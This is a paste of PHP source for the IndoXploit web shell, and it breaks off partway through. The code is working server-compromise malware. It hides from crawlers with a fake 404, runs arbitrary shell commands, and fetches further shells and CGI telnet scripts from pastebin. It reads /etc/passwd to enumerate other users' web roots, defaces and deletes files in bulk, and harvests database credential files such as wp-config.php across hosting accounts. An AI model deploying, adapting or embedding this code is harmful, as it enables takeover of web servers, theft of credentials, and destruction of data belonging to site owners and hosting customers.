Untitled
public
Jan 10, 2025
Never
66
1 <?php 2 session_start(); 3 @error_reporting(0); 4 @set_time_limit(0); 5 if(version_compare(PHP_VERSION, '5.3.0', '<')) { 6 @set_magic_quotes_runtime(0); 7 } 8 @clearstatcache(); 9 @ini_set('error_log',NULL); 10 @ini_set('log_errors',0); 11 @ini_set('max_execution_time',0); 12 @ini_set('output_buffering',0); 13 @ini_set('display_errors', 0); 14 $password = "9c6f3268b5c97d8440ebac0e4f82fc7f"; # md5: f0xbase 15 $SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR']; 16 $FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path()); 17 if(!empty($_SERVER['HTTP_USER_AGENT'])) { 18 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl"); 19 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { 20 header('HTTP/1.0 404 Not Found'); 21 exit; 22 } 23 } 24 function login_shell() { 25 ?> 26 <!DOCTYPE HTML> 27 <html> 28 <head> 29 <title>IndoXploit</title> 30 <style type="text/css"> 31 html { 32 margin: 20px auto; 33 background: #000000; 34 color: green; 35 text-align: center; 36 } 37 header { 38 color: green; 39 margin: 10px auto; 40 } 41 input[type=password] { 42 width: 250px; 43 height: 25px; 44 color: red; 45 background: transparent; 46 border: 1px dotted green; 47 margin-left: 20px; 48 text-align: center; 49 } 50 </style> 51 </head> 52 <center> 53 <header> 54 <pre> 55 56 _________________________________________________________ 57 ____ __ ________ 58 /'\_/`\ /\ _`\ /'__`\ /\_____ \ 59 /\ \ _ __ \ \ \/\_\ _ __ /\ \/\ \\/___//'/' 60 \ \ \__\ \/\`'__\ \ \ \/_/_/\`'__\ \ \ \ \ /' /' 61 \ \ \_/\ \ \ \/ __\ \ \L\ \ \ \/ \ \ \_\ \/' /' 62 \ \_\\ \_\ \_\/\_\\ \____/\ \_\ \ \____/\_/ 63 \/_/ \/_/\/_/\/_/ \/___/ \/_/ \/___/\// 64 _________________________________________________________ 65 66 </pre> 67 </header> 68 </center> 69 <form method="post"> 70 <input type="password" name="password"> 71 </form> 72 <?php 73 exit; 74 } 75 if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) 76 if(empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password))) 77 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 78 else 79 login_shell(); 80 if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) { 81 @ob_clean(); 82 $file = $_GET['file']; 83 header('Content-Description: File Transfer'); 84 header('Content-Type: application/octet-stream'); 85 header('Content-Disposition: attachment; filename="'.basename($file).'"'); 86 header('Expires: 0'); 87 header('Cache-Control: must-revalidate'); 88 header('Pragma: public'); 89 header('Content-Length: ' . filesize($file)); 90 readfile($file); 91 exit; 92 } 93 if(get_magic_quotes_gpc()) { 94 function idx_ss($array) { 95 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array); 96 } 97 $_POST = idx_ss($_POST); 98 } 99 ?> 100 <!DOCTYPE HTML> 101 <html> 102 <!-- 103 ############################################################################### 104 // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini. 105 // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada. 106 // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri. 107 // Tanpa kalian kita tidak akan BESAR seperti sekarang. 108 // Greetz: All Member IndoXploit. & All My Friends. 109 ############################################################################### 110 // Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999 111 ############################################################################command Prompt### 112 --> 113 <head> 114 <title>IndoXploit</title> 115 <meta name='author' content='IndoXploit'> 116 <meta charset="UTF-8"> 117 <style type='text/css'> 118 @import url(https://fonts.googleapis.com/css?family=Ubuntu); 119 html { 120 background: #000000; 121 color: #ffffff; 122 font-size: 14px; 123 width: 100%; 124 } 125 li { 126 display: inline; 127 margin: 5px; 128 padding: 5px; 129 } 130 a { 131 color: #ffffff; 132 text-decoration: none; 133 } 134 a:hover { 135 color: cyan; 136 text-decoration: underline; 137 } 138 b { 139 color: cyan; 140 } 141 pre { 142 font-size: 13px; 143 } 144 table, th, td { 145 border-collapse:collapse; 146 background: transparent; 147 font-family: 'Ubuntu mono'; 148 font-size: 13px; 149 } 150 .table_home, .th_home, .td_home { 151 border: 1px solid #ffffff; 152 } 153 .th_home { 154 color: cyan; 155 } 156 .td_home, .td_home > a { 157 color: #ffffff; 158 } 159 .td_home > a:hover { 160 color: gold; 161 } 162 th { 163 padding: 10px; 164 } 165 tr:hover { 166 background: #006400; 167 color: #ffffff; 168 } 169 input[type=text], input[type=password], .input { 170 background: transparent; 171 color: #ffffff; 172 border: 1px solid #ffffff; 173 padding: 3px; 174 font-family: 'Ubuntu'; 175 font-size: 13px; 176 } 177 input[type=submit] { 178 padding: 2px;} 179 input[type=submit]:hover { 180 cursor: pointer; 181 } 182 input:focus, textarea:focus { 183 outline: 0; 184 border-color: #ffffff; 185 } 186 textarea { 187 border: 1px solid #ffffff; 188 width: 100%; 189 height: 400px; 190 padding-left: 5px; 191 margin: 10px auto; 192 resize: none; 193 background: transparent; 194 color: #ffffff; 195 font-family: 'Ubuntu'; 196 font-size: 13px; 197 } 198 iframe { 199 width: 100%; 200 min-height: 500px; 201 } 202 </style> 203 </head> 204 <body> 205 <center> 206 <header> 207 <pre> 208 209 /$$$$$$$$ /$$$$$$ /$$$$$$$ 210 | $$_____//$$$_ $$ | $$__ $$ 211 | $$ | $$$$\ $$ /$$ /$$| $$ \ $$ /$$$$$$ /$$$$$$$ /$$$$$$ 212 | $$$$$ | $$ $$ $$| $$ /$$/| $$$$$$$ |____ $$ /$$_____/ /$$__ $$ 213 | $$__/ | $$\ $$$$ \ $$$$/ | $$__ $$ /$$$$$$$| $$$$$$ | $$$$$$$$ 214 | $$ | $$ \ $$$ >$$ $$ | $$ \ $$ /$$__ $$ \____ $$| $$_____/ 215 | $$ | $$$$$$/ /$$/\ $$| $$$$$$$/| $$$$$$$ /$$$$$$$/| $$$$$$$ 216 |__/ \______/ |__/ \__/|_______/ \_______/|_______/ \_______/ 217 218 </pre> 219 </header> 220 </center> 221 <?php 222 function path() { 223 if(isset($_GET['dir'])) { 224 $dir = str_replace("\\", "/", $_GET['dir']); 225 @chdir($dir); 226 } else { 227 $dir = str_replace("\\", "/", getcwd()); 228 } 229 return $dir; 230 } 231 function color($bold = 1, $colorid = null, $string = null) { 232 $color = array( 233 "</font>", # 0 off 234 "<font color='red'>", # 1 red 235 "<font color='lime'>", # 2 lime 236 "<font color='white'>", # 3 white 237 "<font color='gold'>", # 4 gold 238 ); 239 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid]; 240 } 241 function OS() { 242 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux"; 243 } 244 function exe($cmd) { 245 if(function_exists('system')) { 246 @ob_start(); 247 @system($cmd); 248 $buff = @ob_get_contents(); 249 @ob_end_clean(); 250 return $buff; 251 } elseif(function_exists('exec')) { 252 @exec($cmd,$results); 253 $buff = ""; 254 foreach($results as $result) { 255 $buff .= $result; 256 } return $buff; 257 } elseif(function_exists('passthru')) { 258 @ob_start(); 259 @passthru($cmd); 260 $buff = @ob_get_contents(); 261 @ob_end_clean(); 262 return $buff; 263 } elseif(function_exists('shell_exec')) { 264 $buff = @shell_exec($cmd); 265 return $buff; 266 } 267 } 268 function save($filename, $mode, $file) { 269 $handle = fopen($filename, $mode); 270 fwrite($handle, $file); 271 fclose($handle); 272 return; 273 } 274 function getfile($name) { 275 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name.")); 276 if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php"); 277 elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php"); 278 elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx"); 279 elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx"); 280 elseif($name === "LRE") $get = array("https://pastebin.com/raw/PVPfA21i", "makman.php"); 281 $fp = fopen($get[1], "w"); 282 $ch = curl_init(); 283 curl_setopt($ch, CURLOPT_URL, $get[0]); 284 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); 285 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 286 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 287 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 288 curl_setopt($ch, CURLOPT_FILE, $fp); 289 return curl_exec($ch); 290 curl_close($ch); 291 fclose($fp); 292 ob_flush(); 293 flush(); 294 } 295 function usergroup() { 296 if(!function_exists('posix_getegid')) { 297 $user['name'] = @get_current_user(); 298 $user['uid'] = @getmyuid(); 299 $user['gid'] = @getmygid(); 300 $user['group'] = "?"; 301 } else { 302 $user['uid'] = @posix_getpwuid(posix_geteuid()); 303 $user['gid'] = @posix_getgrgid(posix_getegid()); 304 $user['name'] = $user['uid']['name']; 305 $user['uid'] = $user['uid']['uid']; 306 $user['group'] = $user['gid']['name']; 307 $user['gid'] = $user['gid']['gid']; 308 } 309 return (object) $user; 310 } 311 function getuser() { 312 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd")); 313 while($read = fgets($fopen)) { 314 preg_match_all('/(.*?):x:/', $read, $getuser); 315 $user[] = $getuser[1][0]; 316 } 317 return $user; 318 } 319 function getdomainname() { 320 $fopen = fopen("/etc/named.conf", "r"); 321 while($read = fgets($fopen)) { 322 preg_match_all("#/var/named/(.*?).db#", $read, $getdomain); 323 $domain[] = $getdomain[1][0]; 324 } 325 return $domain; 326 } 327 function hddsize($size) { 328 if($size >= 1073741824) 329 return sprintf('%1.2f',$size / 1073741824 ).' GB'; 330 elseif($size >= 1048576) 331 return sprintf('%1.2f',$size / 1048576 ) .' MB'; 332 elseif($size >= 1024) 333 return sprintf('%1.2f',$size / 1024 ) .' KB'; 334 else 335 return $size .' B'; 336 } 337 function hdd() { 338 $hdd['size'] = hddsize(disk_total_space("/")); 339 $hdd['free'] = hddsize(disk_free_space("/")); 340 $hdd['used'] = $hdd['size'] - $hdd['free']; 341 return (object) $hdd; 342 } 343 function writeable($path, $perms) { 344 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms); 345 } 346 function perms($path) { 347 $perms = fileperms($path); 348 if (($perms & 0xC000) == 0xC000) { 349 // Socket 350 $info = 's'; 351 } 352 elseif (($perms & 0xA000) == 0xA000) { 353 // Symbolic Link 354 $info = 'l'; 355 } 356 elseif (($perms & 0x8000) == 0x8000) { 357 // Regular 358 $info = '-'; 359 } 360 elseif (($perms & 0x6000) == 0x6000) { 361 // Block special 362 $info = 'b'; 363 } 364 elseif (($perms & 0x4000) == 0x4000) { 365 // Directory 366 $info = 'd'; 367 } 368 elseif (($perms & 0x2000) == 0x2000) { 369 // Character special 370 $info = 'c'; 371 } 372 elseif (($perms & 0x1000) == 0x1000) { 373 // FIFO pipe 374 $info = 'p'; 375 } 376 else { 377 // Unknown 378 $info = 'u'; 379 } 380 // Owner 381 $info .= (($perms & 0x0100) ? 'r' : '-'); 382 $info .= (($perms & 0x0080) ? 'w' : '-'); 383 $info .= (($perms & 0x0040) ? 384 (($perms & 0x0800) ? 's' : 'x' ) : 385 (($perms & 0x0800) ? 'S' : '-')); 386 // Group 387 $info .= (($perms & 0x0020) ? 'r' : '-'); 388 $info .= (($perms & 0x0010) ? 'w' : '-'); 389 $info .= (($perms & 0x0008) ? 390 (($perms & 0x0400) ? 's' : 'x' ) : 391 (($perms & 0x0400) ? 'S' : '-')); 392 // World 393 $info .= (($perms & 0x0004) ? 'r' : '-'); 394 $info .= (($perms & 0x0002) ? 'w' : '-'); 395 $info .= (($perms & 0x0001) ? 396 (($perms & 0x0200) ? 't' : 'x' ) : 397 (($perms & 0x0200) ? 'T' : '-')); 398 return $info; 399 } 400 function lib_installed() { 401 $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF")); 402 $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF")); 403 $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); 404 $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); 405 $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); 406 return implode(" | ", $lib); 407 } 408 function pwd() { 409 $dir = explode("/", path()); 410 foreach($dir as $key => $index) { 411 print "<a href='?dir="; 412 for($i = 0; $i <= $key; $i++) { 413 print $dir[$i]; 414 if($i != $key) { 415 print "/"; 416 } 417 } 418 print "'>$index</a>/"; 419 } 420 print "<br>"; 421 print (OS() === "Windows") ? windisk() : ""; 422 } 423 function windisk() { 424 $letters = ""; 425 $v = explode("\\", path()); 426 $v = $v[0]; 427 foreach(range("A", "Z") as $letter) { 428 $bool = $isdiskette = in_array($letter, array("A")); 429 if(!$bool) $bool = is_dir("$letter:\\"); 430 if($bool) { 431 $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">"; 432 if($letter.":" != $v) { 433 $letters .= $letter; 434 } 435 else { 436 $letters .= color(1, 2, $letter); 437 } 438 $letters .= "</a> ]"; 439 } 440 } 441 if(!empty($letters)) { 442 print "Detected Drives $letters<br>"; 443 } 444 if(count($quicklaunch) > 0) { 445 foreach($quicklaunch as $item) { 446 $v = realpath(path(). ".."); 447 if(empty($v)) { 448 $a = explode(DIRECTORY_SEPARATOR,path()); 449 unset($a[count($a)-2]); 450 $v = join(DIRECTORY_SEPARATOR, $a); 451 } 452 print "<a href='".$item[1]."'>".$item[0]."</a>"; 453 } 454 } 455 } 456 function serverinfo() { 457 $disable_functions = @ini_get('disable_functions'); 458 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE"); 459 $output[] = "SERVER IP ".color(1, 2, $GLOBALS['SERVERIP'])." / YOUR IP ".color(1, 2, $_SERVER['REMOTE_ADDR']); 460 $output[] = "WEB SERVER : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']); 461 $output[] = "SYSTEM : ".color(1, 2, php_uname()); 462 $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")"; 463 $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")"; 464 $output[] = "PHP VERSION : ".color(1, 2, @phpversion()); 465 $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF")); 466 $output[] = "DISABLE FUNC: $disable_functions"; 467 $output[] = lib_installed(); 468 $output[] = "Current Dir (".writeable(path(), perms(path())).") "; 469 print "<pre>"; 470 print implode("<br>", $output); 471 pwd(); 472 print "</pre>"; 473 } 474 function curl($url, $post = false, $data = null) { 475 $ch = curl_init($url); 476 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 477 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 478 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 479 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 480 curl_setopt($ch, CURLOPT_TIMEOUT, 10); 481 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 482 if($post) { 483 curl_setopt($ch, CURLOPT_POST, true); 484 curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 485 } 486 return curl_exec($ch); 487 curl_close($ch); 488 } 489 function reverse() { 490 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket="); 491 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response))))))))))))); 492 $explode = explode(",,", $response); 493 unset($explode[0]); 494 foreach($explode as $domain) { 495 $domain = "http://$domain"; 496 $domain = str_replace(",", "", $domain); 497 $url[] = $domain; 498 ob_flush(); 499 flush(); 500 } 501 return $url; 502 } 503 function getValue($param, $kata1, $kata2){ 504 if(strpos($param, $kata1) === FALSE) return FALSE; 505 if(strpos($param, $kata2) === FALSE) return FALSE; 506 $start = strpos($param, $kata1) + strlen($kata1); 507 $end = strpos($param, $kata2, $start); 508 $return = substr($param, $start, $end - $start); 509 return $return; 510 } 511 function massdeface($dir, $file, $filename, $type = null) { 512 $scandir = scandir($dir); 513 foreach($scandir as $dir_) { 514 $path = "$dir/$dir_"; 515 $location = "$path/$filename"; 516 if($dir_ === "." || $dir_ === "..") { 517 file_put_contents($location, $file); 518 } 519 else { 520 if(is_dir($path) AND is_writable($path)) { 521 print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>"; 522 file_put_contents($location, $file); 523 if($type === "-alldir") { 524 massdeface($path, $file, $filename, "-alldir"); 525 } 526 } 527 } 528 } 529 } 530 function massdelete($dir, $filename) { 531 $scandir = scandir($dir); 532 foreach($scandir as $dir_) { 533 $path = "$dir/$dir_"; 534 $location = "$path/$filename"; 535 if($dir_ === '.') { 536 if(file_exists("$dir/$filename")) { 537 unlink("$dir/$filename"); 538 } 539 } 540 elseif($dir_ === '..') { 541 if(file_exists(dirname($dir)."/$filename")) { 542 unlink(dirname($dir)."/$filename"); 543 } 544 } 545 else { 546 if(is_dir($path) AND is_writable($path)) { 547 if(file_exists($location)) { 548 print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>"; 549 unlink($location); 550 massdelete($path, $filename); 551 } 552 } 553 } 554 } 555 } 556 function tools($toolsname, $args = null) { 557 if($toolsname === "cmd") { 558 print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'> 559 ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $ 560 <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required> 561 <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'> 562 </form>"; 563 } 564 elseif($toolsname === "readfile") { 565 if(empty($args)) die(color(1, 1, $msg)); 566 if(!is_file($args)) die(color(1, 1, "File '$args' is not exists.")); 567 print "<pre>"; 568 print htmlspecialchars(file_get_contents($args)); 569 print "</pre>"; 570 } 571 elseif($toolsname === "spawn") { 572 if($args === "adminer") { 573 if(file_exists("adminer.php")) { 574 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>"; 575 } 576 else { 577 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'.")); 578 if(getfile("adminer")) { 579 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>"; 580 } 581 else { 582 print color(1, 1, "Error while downloading file Adminer."); 583 @unlink("adminer.php"); 584 } 585 } 586 } 587 elseif($args === "webconsole") { 588 if(file_exists("webconsole.php")) { 589 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>"; 590 } 591 else { 592 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'.")); 593 if(getfile("webconsole")) { 594 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>"; 595 } 596 else { 597 print color(1, 1, "Error while downloading file WebConsole."); 598 @unlink("webconsole.php"); 599 } 600 } 601 } 602 elseif($args === "cgitelnet1") { 603 if(file_exists("idx_cgi/cgitelnet1.idx")) { 604 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>"; 605 } 606 elseif(file_exists('cgitelnet1.idx')) { 607 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>"; 608 } 609 else { 610 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'.")); 611 if(!is_dir(path()."/idx_cgi/")) { 612 @mkdir('idx_cgi', 0755); 613 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx"); 614 } 615 if(getfile("cgitelnet1")) { 616 chmod('idx_cgi/cgitelnet1.idx', 0755); 617 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>"; 618 } 619 else { 620 print color(1, 1, "Error while downloading file CGI Telnet."); 621 @rmdir(path()."/idx_cgi/"); 622 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/"); 623 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/"); 624 } 625 } 626 627 } 628 elseif($args === "cgitelnet2") { 629 if(file_exists("idx_cgi/cgitelnet2.idx")) { 630 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>"; 631 } 632 elseif(file_exists('cgitelnet2.idx')) { 633 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>"; 634 } 635 else { 636 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'.")); 637 if(!is_dir(path()."/idx_cgi/")) { 638 @mkdir('idx_cgi', 0755); 639 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx"); 640 } 641 if(getfile("cgitelnet2")) { 642 chmod('idx_cgi/cgitelnet2.idx', 0755); 643 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>"; 644 } 645 else { 646 print color(1, 1, "Error while downloading file CGI Telnet."); 647 @rmdir(path()."/idx_cgi/"); 648 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/"); 649 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/"); 650 } 651 } 652 653 } 654 elseif($args === "phpinfo") { 655 if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) { 656 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>"; 657 } 658 else { 659 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'.")); 660 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>"); 661 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>"; 662 } 663 } 664 } 665 elseif($toolsname === "upload") { 666 if($_POST['upload']) { 667 if($_POST['uploadtype'] === '1') { 668 if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) { 669 $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>"; 670 } 671 else { 672 $act = color(1, 1, "Failed to upload file!"); 673 } 674 } 675 elseif($_POST['uploadtype'] === '2') { 676 $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name']; 677 $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name']; 678 if(is_writable($_SERVER['DOCUMENT_ROOT'])) { 679 if(@copy($_FILES['file']['tmp_name'], $root)) { 680 $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>"; 681 } 682 else { 683 $act = color(1, 1, "Failed to upload file!"); 684 } 685 } 686 else { 687 $act = color(1, 1, "Failed to upload file!"); 688 } 689 } 690 } 691 print "Upload File: $act 692 <form method='post' enctype='multipart/form-data'> 693 <input type='radio' name='uploadtype' value='1' checked>current_dir [ ".writeable(path(), "Writeable")." ] 694 <input type='radio' name='uploadtype' value='2'>document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]<br> 695 <input type='file' name='file'> 696 <input type='submit' value='upload' name='upload'> 697 </form>"; 698 } 699 elseif($toolsname === "jumping") { 700 $i = 0; 701 foreach(getuser() as $user) { 702 $path = "/home/$user/public_html"; 703 if(is_readable($path)) { 704 $status = color(1, 2, "[R]"); 705 if(is_writable($path)) { 706 $status = color(1, 2, "[RW]"); 707 } 708 $i++; 709 print "$status <a href='?dir=$path'>".color(1, 4, $path)."</a>"; 710 if(!function_exists('posix_getpwuid')) print "<br>"; 711 if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."<br>"; 712 foreach(getdomainname() as $domain) { 713 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain")); 714 $userdomain = $userdomain->name; 715 if($userdomain === $user) { 716 print " => <a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>"; 717 break; 718 } 719 } 720 } 721 } 722 print ($i === 0) ? "" : "<p>".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."</p>"; 723 } 724 elseif($toolsname === "idxconfig") { 725 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'.")); 726 if(!is_dir(path()."/idx_config/")) { 727 @mkdir('idx_config', 0755); 728 $htaccess = "Options all\nDirectoryIndex indoxploit.htm\nSatisfy Any"; 729 save("idx_config/.htaccess","w", $htaccess); 730 foreach(getuser() as $user) { 731 $user_docroot = "/home/$user/public_html/"; 732 if(is_readable($user_docroot)) { 733 $getconfig = array( 734 "/home/$user/.accesshash" => "WHM-accesshash", 735 "$user_docroot/config/koneksi.php" => "Lokomedia", 736 "$user_docroot/forum/config.php" => "phpBB", 737 "$user_docroot/sites/default/settings.php" => "Drupal", 738 "$user_docroot/config/settings.inc.php" => "PrestaShop", 739 "$user_docroot/app/etc/local.xml" => "Magento", 740 "$user_docroot/admin/config.php" => "OpenCart", 741 "$user_docroot/application/config/database.php" => "Ellislab", 742 "$user_docroot/vb/includes/config.php" => "Vbulletin", 743 "$user_docroot/includes/config.php" => "Vbulletin", 744 "$user_docroot/forum/includes/config.php" => "Vbulletin", 745 "$user_docroot/forums/includes/config.php" => "Vbulletin", 746 "$user_docroot/cc/includes/config.php" => "Vbulletin", 747 "$user_docroot/inc/config.php" => "MyBB", 748 "$user_docroot/includes/configure.php" => "OsCommerce", 749 "$user_docroot/shop/includes/configure.php" => "OsCommerce", 750 "$user_docroot/os/includes/configure.php" => "OsCommerce", 751 "$user_docroot/oscom/includes/configure.php" => "OsCommerce", 752 "$user_docroot/products/includes/configure.php" => "OsCommerce", 753 "$user_docroot/cart/includes/configure.php" => "OsCommerce", 754 "$user_docroot/inc/conf_global.php" => "IPB", 755 "$user_docroot/wp-config.php" => "Wordpress", 756 "$user_docroot/wp/test/wp-config.php" => "Wordpress", 757 "$user_docroot/blog/wp-config.php" => "Wordpress", 758 "$user_docroot/beta/wp-config.php" => "Wordpress", 759 "$user_docroot/portal/wp-config.php" => "Wordpress", 760 "$user_docroot/site/wp-config.php" => "Wordpress", 761 "$user_docroot/wp/wp-config.php" => "Wordpress", 762 "$user_docroot/WP/wp-config.php" => "Wordpress", 763 "$user_docroot/news/wp-config.php" => "Wordpress", 764 "$user_docroot/wordpress/wp-config.php" => "Wordpress", 765 "$user_docroot/test/wp-config.php" => "Wordpress", 766 "$user_docroot/demo/wp-config.php" => "Wordpress", 767 "$user_docroot/home/wp-config.php" => "Wordpress", 768 "$user_docroot/v1/wp-config.php" => "Wordpress", 769 "$user_docroot/v2/wp-config.php" => "Wordpress", 770 "$user_docroot/press/wp-config.php" => "Wordpress", 771 "$user_docroot/new/wp-config.php" => "Wordpress", 772 "$user_docroot/blogs/wp-config.php" => "Wordpress", 773 "$user_docroot/configuration.php" => "Joomla", 774 "$user_docroot/blog/configuration.php" => "Joomla", 775 "$user_docroot/submitticket.php" => "^WHMCS", 776 "$user_docroot/cms/configuration.php" => "Joomla", 777 "$user_docroot/beta/configuration.php" => "Joomla", 778 "$user_docroot/portal/configuration.php" => "Joomla", 779 "$user_docroot/site/configuration.php" => "Joomla", 780 "$user_docroot/main/configuration.php" => "Joomla", 781 "$user_docroot/home/configuration.php" => "Joomla", 782 